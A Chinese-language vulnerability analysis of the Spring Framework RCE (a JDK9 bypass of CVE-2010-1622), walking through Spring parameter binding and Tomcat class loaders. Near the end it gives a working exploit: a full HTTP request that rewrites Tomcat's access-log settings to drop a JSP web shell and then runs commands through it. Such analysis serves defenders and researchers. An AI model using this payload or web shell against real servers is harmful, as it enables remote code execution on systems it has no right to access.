前两天新爆出来一个SpringRCE漏洞,一开始只是公司预警,网上也找不到漏洞细节,所有安全群都在讨论这个漏洞,可是都不知道细节,知道细节的也不敢说,神秘感拉满了~
这两天网上陆续爆出来一些漏洞细节,今天来分析一下漏洞原理。
漏洞描述
作为目前全球最受欢迎的Java轻量级开源框架,Spring允许开发人员专注于业务逻辑,简化Java企业级应用的开发周期。
但在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并 写入任意路径下的文件。
目前已知,触发该漏洞需要满足两个基本条件:
使用JDK9及以上版本的Spring MVC框架
Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class
该漏洞主要因为Spring参数绑定,参数绑定具体参考这篇文章
漏洞环境
当前测试环境是Github上找的,但是这个环境不能直接用,默认情况下无法访问控制器,不知道怎么回事。当前是用这套代码稍微改了一下保证可以访问控制器就行。
也可以自己创建一个SpringMVC工程,只要保证控制器参数是一个POJO类型就可以。
漏洞分析
AbstractNestablePropertyAccessor.setPropertyValue
从org.springframework.beans.AbstractNestablePropertyAccessor.setPropertyValue方法作为入口分析。
该方法首先通过pv.getName获取用户输入的参数名,然后调用getPropertyAccessorForPropertyPath解析,在getPropertyAccessorForPropertyPath方法中会递归调用getter方法。最终会获得想要设置的对象并返回。
接下来就调用nestedPa.setPropertyValue将对象设置成用户输入的值。这就完成了一次参数绑定。
AbstractNestablePropertyAccessor.getPropertyAccessorForPropertyPath
在这个方法中,会将用户输入的参数按".“分割,并通过getNestedPropertyAccessor方法调用”."前的getter方法。然后返回一个通过getter返回的对象创建的AbstractNestablePropertyAccessor对象后递归调用自身。
第一次调用当前方法时的AbstractNestablePropertyAccessor对象是通过控制器参数的POJO类型创建的。
AbstractNestablePropertyAccessor.getNestedPropertyAccessor
该方法主要作用就是调用getter方法然后创建一个AbstractNestablePropertyAccessor对象返回。
AbstractNestablePropertyAccessor.getPropertyValue
该方法主要是通过getLocalPropertyHandler方法获得一个PropertyHandler对象,PropertyHandler对象中包含一个GenericTypeAwarePropertyDescriptor对象,最终通过GenericTypeAwarePropertyDescriptor对象调用getter、setter方法。
BeanWrapperImpl.getLocalPropertyHandler
getLocalPropertyHandler方法会调用getCachedIntrospectionResults方法获取一个缓存,从缓存中获取获取propertyName对应的PropertyDescriptor对象。
propertyName就是用户输入的参数。
BeanWrapperImpl.getCachedIntrospectionResults
该方法先是通过CachedIntrospectionResults.forClass(getWrappedClass());从缓存中获取一个CachedIntrospectionResults对象,这个对象中包含了目标类中所有的存在setter/getter方法的成员。
通过截图可以看到,这里面竟然有一个class成员,这是因为java所有类都是继承自Object类的,而Object类有一个getClass方法,所以这里也会有一个class成员。
通过这个成员我们可以访问classloader进而进行一些骚操作,CVE-2010-1622漏洞就是因为这个原因。当时spring也修复了这个漏洞,这次这个漏洞原理可以说是CVE-2010-1622的绕过版本。
CachedIntrospectionResults.forClass
该方法用于从缓存中获取目标类的CachedIntrospectionResults信息,如果不存在的话则新建一个。然后将新建的CachedIntrospectionResults对象保存到缓存中。
CachedIntrospectionResults.CachedIntrospectionResults
分析到这里,漏洞产生的原因已经搞清楚了,但是怎么利用才能RCE呢?
这里需要简单了解一下类加载机制。
JAVA类加载机制
简单来说,java语言属于一个半编译半解释型语言。当我们在idea中写完java代码运行的时候,首先idea会将我们的代码编译成class文件,然后启动jvm虚拟机通过类加载器加载所需要用到的类并执行入口类的main方法。
Java 提供三种类型的系统类加载器:
启动类加载器(Bootstrap ClassLoader):由C++语言实现,属于JVM的一部分,其作用是加载 <JAVA_HOME>\lib 目录中的文件,或者被-Xbootclasspath参数所指定的路径中的文件,并且该类加载器只加载特定名称的文件(如 rt.jar),而不是该目录下所有的文件。启动类加载器无法被Java程序直接引用。
扩展类加载器(Extension ClassLoader):由sun.misc.Launcher.ExtClassLoader实现,它负责加载<JAVA_HOME>\lib\ext目录中的,或者被java.ext.dirs系统变量所指定的路径中的所有类库,开发者可以直接使用扩展类加载器。
应用程序类加载器(Application ClassLoader):也称系统类加载器,由sun.misc.Launcher.AppClassLoader实现。负责加载用户类路径(Class Path)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
应用程序都是由这3种类加载器互相配合进行加载的,如果有必要,还可以加入自己定义的类加载器。加载流程如下图所示:
java这种类加载层级称为双亲委派模型。它的工作过程是:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的类加载器都是如此,因此所有的加载请求最终都应该传送到顶层的启动类加载器中,只有当父加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类)时,子加载器才会尝试自己去加载。
tomcat类加载器
首先上张图,整体看下tomcat的类加载器:
可以看到在原先的java类加载器基础上,tomcat新增了几个类加载器,包括3个基础类加载器和每个Web应用的类加载器,其中3个基础类加载器可在conf/catalina.properties中配置,具体介绍下:
Common:以应用类加载器为父类,是tomcat顶层的公用类加载器,其路径由conf/catalina.properties中的common.loader指定,默认指向${catalina.home}/lib下的包。
Catalina:以Common类加载器为父类,是用于加载Tomcat应用服务器的类加载器,其路径由server.loader指定,默认为空,此时tomcat使用Common类加载器加载应用服务器。
Shared:以Common类加载器为父类,是所有Web应用的父类加载器,其路径由shared.loader指定,默认为空,此时tomcat使用Common类加载器作为Web应用的父加载器。
WebApp Classloader:以Shared类加载器为父类,加载/WEB-INF/classes目录下的未压缩的Class和资源文件以及/WEB-INF/lib目录下的jar包,该类加载器只对当前Web应用可见,对其他Web应用均不可见。
在Tomcat中,线程启动时会调用Thread.currentThread().setContextClassLoader()将WebApp Classloader设置为线程上下文类加载器。
而spring加载类所用的Classloader是通过Thread.currentThread().getContextClassLoader()来获取的。当在Tomcat中运行Spring项目时,Spinrg使用的加载器就是WebApp Classloader。
为什么可以RCE
前面已经简单介绍过了类加载机制,也简单说明了Spring会通过Tomcat的类加载器进行类加载。
而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader
这个Tomcat专属的ClassLoader的一些属性、子孙属性里。
那么,我们就可以通过person.getClass().getClassLoader().getXXX()来调用ParallelWebappClassLoader中的一些敏感属性最后通过修改Tomcat的配置来执行危险操作。
当前RCE的利用方法是更改tomcat的访问日志配置,可以更改日志文件后缀、日志所在目录、日志内容以达到日志写入Getshell的目的。
下面简单介绍一下我们可以设置的项:
pattern是比较重要的一个字段,这里单独拿出来讲一下。
pattern可以设置成两种方式,第一种是pattern=“common”,第二种是pattern=“combined”,这就可以控制日志里面的格式,common和combined只是集成了一些显示方式,就是将显示方式给组合了,pattern的实际值有如下几种,都是后面一个字母,前面一个%百分号,目前支持如下的pattern:
- %a - 远端IP地址
- %A - 本地IP地址
- %b - 发送的字节数,不包括HTTP头,如果为0,使用"-"
- %B - 发送的字节数,不包括HTTP头
- %h - 远端主机名(如果resolveHost=false,远端的IP地址)
- %H - 请求协议
- %l - 从identd返回的远端逻辑用户名(总是返回 ‘-’)
- %m - 请求的方法(GET,POST,等)
- %p - 收到请求的本地端口号
- %q - 查询字符串(如果存在,以 '?'开始)
- %r - 请求的第一行,包含了请求的方法和URI
- %s - 响应的状态码
- %S - 用户的session ID
- %t - 日志和时间,使用通常的Log格式
- %u - 认证以后的远端用户(如果存在的话,否则为’-')
- %U - 请求的URI路径
- %v - 本地服务器的名称
- %D - 处理请求的时间,以毫秒为单位
- %T - 处理请求的时间,以秒为单位
common的值:%h %l %u %t %r %s %b
combined的值:%h %l %u %t %r %s %b %{Referer}i %{User-Agent}i
至于combined的值的最后两个:
%{Referer}i:从那个页面链接跳转到的此页面
%{User-agent}i:用户的User-Agent
可以看出,combined的设置类似正则,会匹配括号中的字段的value值。
payload
了解了tomcat访问日志的配置方式,我们可以尝试构造一下payload了:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i 在请求包头中加入cmd字段,在cmd中输入jsp马就可以像日志文件中写入了。
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp 设置日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=logs 设置日志所在目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test 设置日志文件名前缀
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 设置日志文件名后缀,这里设置为空就可以了,让问的之后直接输入前缀.jsp就可以了
最终当前测试环境请求如下:
POST /SpringMVCTest_war/index HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 459
cmd:<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di&&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=E:/Development/apache-tomcat-8.5.73/webapps/SpringMVCTest_war&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
然后在浏览器输入http://localhost:8080/SpringMVCTest_war/test.jsp?a=calc 就可以看到我们最喜欢的计算机了~
参考
CVE-2010-1622
Tomcat类加载器
tomcat访问日志详解
代码审计星球
总结
这个漏洞可以说是CVE-2010-1622的绕过版本,Spring为了修复CVE-2010-1622漏洞修复方式是判断如果当前类型是class类型,并且获取的方法是Classloader则直接跳过。
而到了JDK9以后,Class对象中多了一个Module类的属性,而Module类中也存在getClassLoader()方法,所以这就绕过了之前Spring的修复方式。
这就就造成了可以调用Classloader所有的子孙对象的getter、setter方法,当使用tomcat中间件的时候,tomcat会将一些全局配置放在classloader的子孙属性中,这就可以通过漏洞覆盖这些全局变量导致日志写入漏洞从而Getshell。